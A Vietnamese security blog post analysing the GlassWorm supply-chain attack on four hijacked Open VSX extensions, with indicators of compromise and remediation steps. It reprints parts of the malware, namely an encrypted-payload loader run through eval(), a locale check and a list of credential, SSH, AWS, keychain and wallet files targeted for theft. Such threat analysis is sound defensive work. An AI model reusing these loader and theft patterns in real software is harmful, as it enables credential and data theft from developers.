Skip to main content

Command Palette

Search for a command to run...

Cảnh Báo Khẩn: Extension Hợp Pháp Bị Chiếm Quyền Đang Đánh Cắp Toàn Bộ Token & Key Của Developer

Updated
6 min read
Cảnh Báo Khẩn: Extension Hợp Pháp Bị Chiếm Quyền Đang Đánh Cắp Toàn Bộ Token & Key Của Developer

Nhóm nghiên cứu của Socket phát hiện một cuộc tấn công chuỗi cung ứng nhắm vào Open VSX Registry, bắt nguồn từ việc tài khoản phát hành extension của nhà phát triển bị chiếm quyền (rò rỉ token hoặc truy cập trái phép).

Ngày 30/01/2026, bốn extension hợp lệ, lâu năm của tác giả “oorzc” bị kẻ tấn công tải lên các bản cập nhật chứa GlassWorm malware loader. Trước thời điểm bị nhiễm, các extension này đã có hơn 22.000 lượt tải trên Open VSX.

4 extension bị ảnh hưởng

  • FTP/SFTP/SSH Sync Tool — v0.5.1

  • I18n Tools — v1.6.8

  • vscode mindmap — v1.0.61

  • scss to css — v1.3.4

Các extension vốn được phát hành từ nhiều năm, có tín hiệu uy tín và được cộng đồng rộng rãi sử dụng.


Phát hiện xâm nhập

Sau khi Socket thông báo, đội an ninh Open VSX xác nhận hoạt động này rất phù hợp với tình huống token phát hành bị lộ. Các bản phát hành độc hại bị loại bỏ, hai token bị vô hiệu hóa và extension oorzc.ssh-tools được đưa vào danh sách malware.

Nhóm GlassWorm – tác nhân tấn công – đã bị theo dõi từ cuối 2025, với nhiều extension độc hại khác được phát hiện có kỹ thuật tương đồng (loader mã hóa, cấu hình nhận qua blockchain, tránh static IOC…).


Phân tích kỹ thuật

1. Loader (Stage 0) trong extension

Mọi extension nhiễm độc chứa cùng một đoạn loader trong extension.js. Loader sử dụng AES-256-CBC để giải mã một khối mã hex dài, sau đó thực thi bằng eval().

→ Đây là cơ chế nạp mã độc theo dạng “staged loader”.

const crypto = require("crypto");

// AES parameters embedded in the extension
let d = crypto.createDecipheriv(
  "aes-256-cbc",
  "wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz",                    // 32-byte key
  Buffer.from("dfc1fefb224b2a757b7d3d97a93a1db9", "hex") // 16-byte IV
);

// Encrypted payload is a long hex string (truncated here)
let b = d.update(
  "d4f0f5c6b7c5...<hex omitted>...9f2a",
  "hex",
  "utf8"
);

b += d.final("utf8");

// Executes the decrypted Stage 1 code
eval(b);

2. Stage 1 – Kiểm tra môi trường & dead-drop blockchain

Stage 1:

  • Kiểm tra locale, múi giờ và ngôn ngữ Nga → nếu trùng khớp sẽ không chạy (OPSEC của tội phạm Nga).

  • Lấy lệnh giai đoạn tiếp theo từ memo của giao dịch Solana → một dạng dead drop động cho phép đổi C2 mà không cần cập nhật extension.

  • Tiếp tục thực thi chỉ trên macOS.

function _isRussianSystem(){
  let russianIndicators = [
    "ru_RU",
    "ru-RU",
    "ru",
    "Russian",
    process.env.LANG,
    process.env.LANGUAGE,
    process.env.LC_ALL,
    process.env.LC_MESSAGES
  ];
  let isRussianLanguage = russianIndicators.some(indicator =>
    indicator && indicator.toLowerCase().includes("ru")
  );

  let timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;
  let isMoscowTimeZone = timeZone && timeZone.includes("Europe/Moscow");

  let utcOffset = (new Date).getTimezoneOffset() / -60;
  let isRussiaAdjacentTimezone = utcOffset >= 2 && utcOffset <= 12;

  return isRussianLanguage || isMoscowTimeZone || isRussiaAdjacentTimezone;
}
...
if (os.platform() == "darwin") {
  // macOS-specific Stage 2 path follows
}

3. Stage 2 – Payload macOS: đánh cắp dữ liệu & duy trì hiện diện

Thu thập dữ liệu

Payload tập trung vào credential theft, session theft và wallet theft:

  • Cookies, lịch sử, cơ sở dữ liệu đăng nhập của Firefox & Chromium

  • Dữ liệu extension ví (MetaMask…)

  • Ví desktop: Electrum, Exodus, Atomic, Ledger Live, Trezor Suite, Binance, TonKeeper

  • Keychain macOS (login.keychain-db)

  • Apple Notes

  • Tài liệu người dùng (Desktop, Documents, Downloads)

  • Cấu hình VPN FortiClient

  • Tài liệu nhà phát triển: ~/.aws, ~/.ssh, GitHub tokens, npm tokens → RẤT nguy hiểm (khả năng leo thang vào hạ tầng doanh nghiệp/CI/CD).

// Stage 2 data-theft targets (selected examples observed in payload)

const targets = [
  // macOS credential store
  "~/Library/Keychains/login.keychain-db",

  // Apple Notes databases (often contain sensitive data)
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite",
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal",
  "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm",

  // Safari session material
  "~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies",

  // FortiClient VPN configuration
  "/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist",

  // Developer secrets and access material
  "~/.aws", // credentials and config
  "~/.ssh"  // private keys, known_hosts, config
];

// The payload stages copies of these artifacts under /tmp/ijewf,
// compresses them to /tmp/out.zip, then exfiltrates the archive.

Đóng gói & gửi dữ liệu

Dữ liệu được nén thành /tmp/out.zip rồi gửi về hạ tầng của kẻ tấn công (ví dụ: 45[.]32[.]150[.]251).

Cơ chế duy trì

  • Tạo LaunchAgent trong ~/Library/LaunchAgents

  • Khởi chạy payload JS qua runtime Node khi đăng nhập
    → Payload tồn tại lâu dài nếu không bị gỡ.


So sánh với hoạt động GlassWorm trước đây

Các đợt tấn công 2025 chủ yếu:

  • Typosquatting

  • Giả mạo công cụ nổi tiếng

  • Làm giả lượt tải để tạo uy tín

Lần này nguy hiểm hơn: kẻ tấn công dùng tài khoản thật, có lịch sử phát triển thực → tạo sự tin cậy cao hơn và mở rộng phạm vi ảnh hưởng.


Tác động & Rủi ro

Nếu nạn nhân cài bất kỳ extension nào bị nhiễm, coi như đã:

  • Lộ GitHub tokens → nguy cơ chiếm quyền repo, sửa code, lén chèn backdoor

  • Lộ npm tokens → phát hành gói độc hại

  • Lộ AWS credentials → truy cập tài nguyên cloud

  • Lộ SSH keys → chiếm server hoặc nội mạng doanh nghiệp

  • Lộ ví crypto và session trình duyệt

  • Lộ tài liệu nội bộ và ghi chú chứa thông tin nhạy cảm

Phạm vi thiệt hại có thể lan từ máy developer → pipeline CI/CD → người dùng cuối.


Khuyến nghị ứng phó

1. Xử lý khẩn cấp trên thiết bị

  • Gỡ 4 extension bị nhiễm

  • Xóa toàn bộ artifact liên quan (đặc biệt thư mục /tmp/ijewf và LaunchAgent lạ)

  • Tìm file *.plist đáng ngờ trong ~/Library/LaunchAgents

  • Kiểm tra các tập tin bất thường ở /tmp/out.zip

2. Xoay vòng & thu hồi chứng chỉ/credential

Thứ tự quan trọng:

  1. Thu hồi GitHub tokens

  2. Thu hồi npm tokens

  3. Đổi AWS access keys

  4. Thu hồi SSH keys sử dụng trong tổ chức (đặc biệt cho CI/CD & prod)

Sau đó:

  • Kiểm tra nhật ký GitHub: workflow lạ, commit bất thường, token mới được tạo

  • Kiểm tra quá trình CI/CD xem có chỉnh sửa trái phép

  • Rà soát cấu hình pipeline & release automation

3. Bảo vệ chuỗi cung ứng

  • Triển khai các giải pháp kiểm tra dependency như Socket GitHub App, Socket CLI

  • Kiểm soát thay đổi dependency trong pull request

  • Sử dụng công cụ cảnh báo rủi ro registry khi cài package hoặc extension


IOC

Malicious Open VSX Extensions (Suspected Developer Account oorzc Compromise)

  1. oorzc.ssh-tools — v0.5.1

  2. oorzc.i18n-tools-plus — v1.6.8

  3. oorzc.mind-map — v1.0.61

  4. oorzc.scss-to-css-compile — v1.3.4

Malicious Open VSX Extensions (December 2025 — January 2026 Cluster)

  1. Angular-studio.ng-angular-extension

  2. awesome-codebase.codebase-dart-pro

  3. cudra-production.vsce-prettier-pro

  4. dev-studio-sense.php-comp-tools-vscode

  5. ko-zu-gun-studio.synchronization-settings-vscode

  6. littensy-studio.magical-icons

  7. pretty-studio-advisor.prettyxml-formatter

  8. sol-studio.solidity-extension

  9. studio-jjalaire-team.professional-quarto-extension

  10. studio-velte-distributor.pro-svelte-extension

  11. sun-shine-studio.shiny-extension-for-vscode

  12. tucyzirille-studio.angular-pro-tools-extension

  13. vce-brendan-studio-eich.js-debuger-vscode

Blockchain Indicators

  • Solana address: BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC

Embedded Crypto Material

  • AES key: wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz

  • AES IVs (hex): c4b9a3773e9dced6015a670855fd32b

IP Address

  • 45[.]32[.]150[.]251

Tham khảo

More from this blog

F

FPT IS Security

733 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.